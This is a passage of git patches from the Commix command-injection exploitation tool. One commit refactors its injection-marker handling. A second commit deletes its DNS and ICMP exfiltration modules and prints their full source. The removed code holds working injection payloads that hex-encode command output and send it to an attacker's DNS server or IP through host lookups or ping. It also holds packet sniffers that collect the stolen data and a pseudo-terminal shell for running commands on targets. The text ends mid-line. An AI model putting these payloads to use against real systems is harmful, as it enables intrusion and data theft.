settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "user-agent" - return http_request_method + elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = "referer" + + elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: + _ = True + for data in menu.options.headers.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT): + _ = False + if _: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) + + if settings.WILDCARD_CHAR_APPLIED: + if menu.options.test_parameter: + if not settings.MULTI_TARGETS or not settings.IS_TTY: + err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + + while True: + message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + menu.options.test_parameter = parameter + return + elif procced_option in settings.CHOICE_NO: + settings.WILDCARD_CHAR_APPLIED = None + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass """ @@ -309,6 +359,9 @@ def init_injection(url): """ def main(filename, url): try: + if menu.options.offline: + settings.CHECK_FOR_UPDATES_ON_START = False + # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True @@ -320,70 +373,32 @@ def main(filename, url): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY: settings.WILDCARD_CHAR_APPLIED = False - parameter = "" - if menu.options.url and settings.WILDCARD_CHAR in menu.options.url: - option = "'-u'" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_GET_check(menu.options.url, http_request_method) - parameter = parameters.vuln_GET_param(parameter[0]) - elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: - option = "POST body" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_POST_check(menu.options.data, http_request_method) - if len(parameter) == 0: - parameter = parameter[0] - parameter = parameters.vuln_POST_param(parameter, url="") - else: - option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.COOKIE_INJECTION_LEVEL - cookie = parameters.do_cookie_check(menu.options.cookie) - parameter = parameters.specify_cookie_parameter(cookie) - - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "user-agent" + check_custom_injection_marker(url) - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "referer" - - elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: - _ = True - for data in menu.options.headers.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT): - _ = False - if _: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) - - if menu.options.test_parameter and settings.WILDCARD_CHAR_APPLIED: - err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + # Define the level of tests to perform. + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) + elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) + elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: + settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) + settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) + settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) + settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) + settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) + else: + err_msg = "The value for option '--level' " + err_msg += "must be an integer value from range [1, 3]." print(settings.print_critical_msg(err_msg)) - raise SystemExit - - if settings.WILDCARD_CHAR_APPLIED: - while True: - message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " - message += "Do you want to process it? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - menu.options.test_parameter = parameter - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + raise SystemExit() if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: @@ -788,31 +803,6 @@ def main(filename, url): if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: settings.USER_SUPPLIED_LEVEL = menu.options.level - # Define the level of tests to perform. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index) - elif menu.options.level == settings.COOKIE_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index) - elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL: - settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index) - settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index) - settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index) - settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index) - settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index) - else: - err_msg = "The value for option '--level' " - err_msg += "must be an integer value from range [1, 3]." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -839,7 +829,7 @@ def main(filename, url): url = menu.options.url if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING: - http_request_method = check_http_method(url) + http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True response, url = url_response(url) @@ -919,7 +909,7 @@ def main(filename, url): print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: - http_request_method = check_http_method(url) + http_request_method = checks.check_http_method(url) if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 54d23d64aa..dab16c0b3f 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -371,8 +371,7 @@ def do_check(request): http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. - if settings.CUSTOM_HEADER_INJECTION == False and \ - (settings.INJECT_TAG in http_header_value or http_header_name in settings.TEST_PARAMETER): + if settings.CUSTOM_HEADER_INJECTION == False and http_header_name in settings.TEST_PARAMETER: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3bab67ed60..ccd7761cb7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -346,7 +346,8 @@ def do_POST_check(parameter, http_request_method): Define the vulnerable POST parameter. """ def vuln_POST_param(parameter, url): - + if isinstance(parameter, list): + parameter = " ".join(parameter) # JSON data format if settings.IS_JSON: param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0]) diff --git a/src/utils/settings.py b/src/utils/settings.py index af95d1fba3..73312dd725 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "74" +REVISION = "75" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 94c486340fa8322cc910d02c63724e05e4320ef4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 3 Jun 2022 08:59:38 +0300 Subject: [PATCH 0152/1023] The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. --- doc/CHANGELOG.md | 1 + src/core/modules/dns_exfiltration/__init__.py | 16 - .../dns_exfiltration/dns_exfiltration.py | 263 --------------- .../modules/icmp_exfiltration/__init__.py | 16 - .../icmp_exfiltration/icmp_exfiltration.py | 302 ------------------ src/core/modules/modules_handler.py | 24 -- src/utils/menu.py | 11 - src/utils/settings.py | 2 +- 8 files changed, 2 insertions(+), 633 deletions(-) delete mode 100644 src/core/modules/dns_exfiltration/__init__.py delete mode 100755 src/core/modules/dns_exfiltration/dns_exfiltration.py delete mode 100644 src/core/modules/icmp_exfiltration/__init__.py delete mode 100755 src/core/modules/icmp_exfiltration/icmp_exfiltration.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7f1c8627af..ca70c3d3fa 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. * Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. stdin). diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py deleted file mode 100644 index 7ce1185b92..0000000000 --- a/src/core/modules/dns_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py deleted file mode 100755 index 50739f4335..0000000000 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ /dev/null @@ -1,263 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -import threading -from src.utils import menu -from src.utils import logs -from src.utils import common as _common -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.convert import hexdecode -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The DNS exfiltration technique: -exfiltrate data using a user-defined DNS server [1]. - -[1] http://www.contextis.com/resources/blog/data-exfiltration-blind-os-command-injection/ -""" - -def querysniff(pkt): - if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0: - if ".xxx" in pkt.getlayer(DNS).qd.qname: - print(hexdecode(pkt.getlayer(DNS).qd.qname.split(".xxx")[0])) - -def signal_handler(signal, frame): - os._exit(0) - -def snif(dns_server): - info_msg = "Started the sniffer between you and the DNS server '" - info_msg += Style.BRIGHT + Fore.YELLOW + dns_server + Style.RESET_ALL + "'." - print(settings.print_bold_info_msg(info_msg)) - while True: - sniff(filter="port 53", prn=querysniff, store = 0) - -def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): - # DNS exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c 16 | while read line; do host $line.xxx " + dns_server + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)) - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - request = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) - request = _urllib.request.Request(url=url, data=data) - - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(2) - sys.stdout.write("\n" + Style.RESET_ALL) - -def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - gotshell = _common.read_input(message, default="Y", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - - except KeyboardInterrupt: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(dns_server, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - #signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(dns_server, )).start() - #time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(dns_server, http_request_method, url, vuln_parameter, technique) - - -def dns_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have administrative privileges to run this module. - if not _common.running_as_admin(): - err_msg = "You need to have administrative privileges to run this module." - print(settings.print_critical_msg(err_msg)) - os._exit(0) - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - #url = parameters.do_GET_check(url, http_request_method) - vuln_parameter = parameters.vuln_GET_param(url) - request = _urllib.request.Request(url) - headers.do_check(request) - - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - if settings.TARGET_OS == "win": - err_msg = "This module's payloads are not suppoted by " - err_msg += "the identified target operating system." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - else: - dns_server = menu.options.dns_server - technique = "DNS exfiltration module" - info_msg = "Loading the " + technique + ". \n" - sys.stdout.write(settings.print_info_msg(info_msg)) - exploitation(dns_server, url, http_request_method, vuln_parameter, technique) - -if __name__ == "__main__": - dns_exfiltration_handler(url, http_request_method) - -# eof \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py deleted file mode 100644 index 7ce1185b92..0000000000 --- a/src/core/modules/icmp_exfiltration/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py deleted file mode 100755 index 5a45db8d81..0000000000 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -import time -import signal -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import http_client as _http_client -import threading -from src.utils import menu -from src.utils import logs -from src.utils import common as _common -from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import parameters -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks - -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) - -from scapy.all import * - -""" -The ICMP exfiltration technique: -Exfiltrate data using the ping utility. - -[1] http://blog.ring-zer0.com/2014/02/data-exfiltration-on-linux.html -[2] http://blog.curesec.com/article/blog/23.html -""" - -add_new_line = True -exfiltration_length = 8 - -def packet_handler(Packet): - global add_new_line - if Packet.haslayer(ICMP): - Data = Packet.getlayer(ICMP).getlayer(Raw) - exfiltrated_data = Data.load[int(exfiltration_length):].replace(exfiltration_length * "\n","\n") - if exfiltrated_data.endswith("\n"): - add_new_line = False - sys.stdout.write(exfiltrated_data) - sys.stdout.flush() - -def signal_handler(signal, frame): - sys.stdout.write(Style.RESET_ALL) - exit(0) - -def snif(ip_dst, ip_src): - info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src - info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW - info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "." - print(settings.print_bold_info_msg(info_msg)) - - while True: - sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC) - -def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): - global add_new_line - # ICMP exfiltration payload. - payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - url = url.replace(settings.INJECT_TAG, "") - data = payload.replace(" ", "%20") - req = url + data - else: - values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) - request = _urllib.request.Request(url=url, data=data) - - try: - sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - time.sleep(3) - sys.stdout.write(Style.RESET_ALL) - if add_new_line: - print("\n") - add_new_line = True - else: - print(settings.SINGLE_WHITESPACE) - - except _urllib.error.HTTPError as err_msg: - print(settings.print_critical_msg(str(err_msg.code))) - raise SystemExit() - - except _urllib.error.URLError as err_msg: - print(settings.print_critical_msg(str(err_msg.reason) + ".")) - raise SystemExit() - - except _http_client.InvalidURL as err: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): - - err_msg = "" - if menu.enumeration_options(): - err_msg += "enumeration" - if menu.file_access_options(): - if err_msg != "": - err_msg = err_msg + " and " - err_msg = err_msg + "file-access" - - if err_msg != "": - warn_msg = "The " + err_msg + " options are not supported " - warn_msg += "by this module because of the structure of the exfiltrated data. " - warn_msg += "Please try using any unix-like commands manually." - print(settings.print_warning_msg(warn_msg)) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - gotshell = _common.read_input(message, default="Y", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "back": - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif cmd.lower() == "?": - menu.os_shell_options() - elif cmd.lower() == "os_shell": - warn_msg = "You are into the '" + cmd.lower() + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" - elif cmd.lower() == "reverse_tcp": - warn_msg = "This option is not supported by this module." - print(settings.print_warning_msg(warn_msg))+ "\n" - else: - # Command execution results. - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - except KeyboardInterrupt: - os._exit(0) - except: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - elif gotshell in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - -def exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter, technique): - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - signal.signal(signal.SIGINT, signal_handler) - sniffer_thread = threading.Thread(target=snif, args=(ip_dst, ip_src, )).start() - time.sleep(2) - if menu.options.os_cmd: - cmd = menu.options.os_cmd - cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - input_cmd(http_request_method, url, vuln_parameter, ip_src, technique) - -def icmp_exfiltration_handler(url, http_request_method): - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # You need to have administrative privileges to run this module. - if not _common.running_as_admin(): - err_msg = "You need to have administrative privileges to run this module." - print(settings.print_critical_msg(err_msg) + "\n") - os._exit(0) - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - #url = parameters.do_GET_check(url, http_request_method) - request = _urllib.request.Request(url) - headers.do_check(request) - vuln_parameter = parameters.vuln_GET_param(url) - - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - parameter = parameters.do_POST_check(parameter, http_request_method) - request = _urllib.request.Request(url, parameter) - headers.do_check(request) - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - response = proxy.use_proxy(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - os._exit(0) - - else: - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as 